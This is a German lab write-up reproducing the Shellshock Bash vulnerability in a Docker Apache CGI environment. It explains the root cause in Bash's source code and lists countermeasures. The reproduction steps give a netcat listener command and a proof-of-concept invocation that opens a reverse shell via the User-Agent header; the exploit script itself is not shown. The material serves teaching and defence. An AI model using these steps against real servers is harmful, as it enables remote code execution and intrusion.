
Shellshock
Shellshock
Bitte laden Sie die Dateien docker-compose.yml und poc.py herunter.
Stellen Sie sicher, dass Sie die requests-Bibliothek mit pip install requests installieren!!!
Wenn Sie uv verwenden, fügen Sie die requests-Bibliothek bitte über uv in die venv ein!!!
| Offizielle CVE-Beschreibung |
|---|
| In GNU Bash vor Version 4.3 gab es ein Problem bei der Verarbeitung von Zeichenfolgen, die einer Funktionsdefinition in Umgebungsvariablenwerten folgten. Mit dieser Schwachstelle konnte ein entfernter Angreifer über eine manipulierte Umgebung beliebigen Code ausführen. Diese Schwachstelle wurde in der ForceCommand-Funktion von OpenSSH sshd, in den Modulen mod_cgi und mod_cgid des Apache-HTTP-Servers, in Skripten, die von bestimmten DHCP-Clients ausgeführt werden, sowie in verschiedenen Situationen gefunden, in denen Bash-Ausführungsrechte und Umgebungsvariableneinstellungen über unterschiedliche Berechtigungsgrenzen hinweg erfolgen. Dies wird auch als „ShellShock“ bezeichnet. Hinweis: Die erste Korrektur für dieses Problem war fehlerhaft, und CVE-2014-7169 wurde vergeben, um die auch nach der fehlerhaften Korrektur noch bestehende Schwachstelle zu beheben. |

| Umgebungskonfiguration |
|---|
Docker-Dateikonfiguration
| Betriebssystem | Webserver | Bash-Version |
|---|---|---|
| Debian 10 | Apach | 4.2.37(1) |

Wenn der Befehl docker compose up ausgeführt wird, wurde die Dockerfile so erstellt, dass der Webserver geöffnet bleibt.
Da das Betriebssystem, Apache usw. der Dockerfile alle aus externen Repositories heruntergeladen wurden, wurde das erstellte Image getaggt und in Docker Hub gepusht. Anschließend wurde dieses Image in der Datei docker-compose.yml angegeben, sodass keine Probleme auftreten, selbst wenn die Originale gelöscht werden.

| Schwachstellenbedingungen |
|---|
Eine Bash-Shell mit der Shellshock-Schwachstelle ist erforderlich. Ich habe die Bash-Shell in Version 4.2.37(1) heruntergeladen und verwendet.

Darüber hinaus muss ein Programm vorhanden sein, das Bash aufruft, nachdem der Code in eine Umgebungsvariable eingetragen wurde, damit der Code ausgeführt werden kann. Ich habe das CGI-Programm heruntergeladen, das im Webserver zur Verarbeitung von Client-Anfragen verwendet wird. Gemäß der CGI-Spezifikation (RFC 3875) ist der Webserver so ausgelegt, dass er alle vom Browser gesendeten Header-Informationen in Linux-Umgebungsvariablen ablegt und verarbeitet.
Unter dieser Bedingung sendet der Webserver eine Anfrage, und die Header-Informationen werden in den Umgebungsvariablen gespeichert (gemäß der CGI-Spezifikation). Der Angriff wird vervollständigt, indem CGI die Bash-Shell aufruft, bei der die Schwachstelle besteht, dass Zeichenfolgen nach einer Funktionsdefinition in Umgebungsvariablen ausgeführt werden.
Anfrage (Code in den User-Agent-Header einbetten und senden) -> CGI ruft Bash auf -> Reverse-Shell-Verbindung
| Reproduktionsschritte |
|---|
docker compose up aus, um den Webserver zu starten.nc -lvp 4444.

poc.py aus, um die Reverse-Shell zu verbinden.
uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (Es muss nicht unbedingt 4444 sein. Es hängt davon ab, auf welchem Port Sie abhören.)python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (Wenn Sie uv nicht verwenden, führen Sie es bitte mit dem Befehl python3 aus!!!)| Ergebnisse |
|---|
Das Terminal, das in Schritt 2 der Reproduktion abgehört hat, ist mit der Bash-Shell im Container verbunden und kann Befehle wie whoami, id usw. ausführen.

| Ursache der Schwachstelle |
|---|
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
// 이하 생략
'''
Die Ursache der Schwachstelle liegt in der Funktion initialize_shell_variables in der Datei variables.c des Bash-Shell-Codes.
Auch diese Funktion ist zu lang, daher habe ich nur den Kernbereich herausgeschnitten.
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''
Die obige if-Anweisung prüft mit STREQN ("() {", string, 4), ob die ersten 4 Zeichen "() {" sind.
Wenn dies zutrifft, wird es als Funktion behandelt.
Erstaunlicherweise gab es danach keine Filterung für den String, was zum Problem wurde.
'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);
'''
Der obige Code fügt den Namen und den Wert zusammen. Da der String oben geprüft wurde, beginnt er mit "() {",
und name ist der Name der Umgebungsvariablen.
Auf diese Weise werden der Name und der Wert der Umgebungsvariablen kombiniert und an den folgenden Code übergeben, um geparst zu werden.
Da es nur den Filter gab, der oben auf "() {" prüft, werden alle Befehle wie whoami, id, pwd, die nach der Funktion angehängt werden, ausgeführt.
'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
'''
| Gegenmaßnahmen |
|---|
| Upgrade auf eine Bash-Version, die sicher vor der Shellshock-Schwachstelle ist. |
| Verwenden Sie keine Programme, die die Bash-Shell aufrufen. |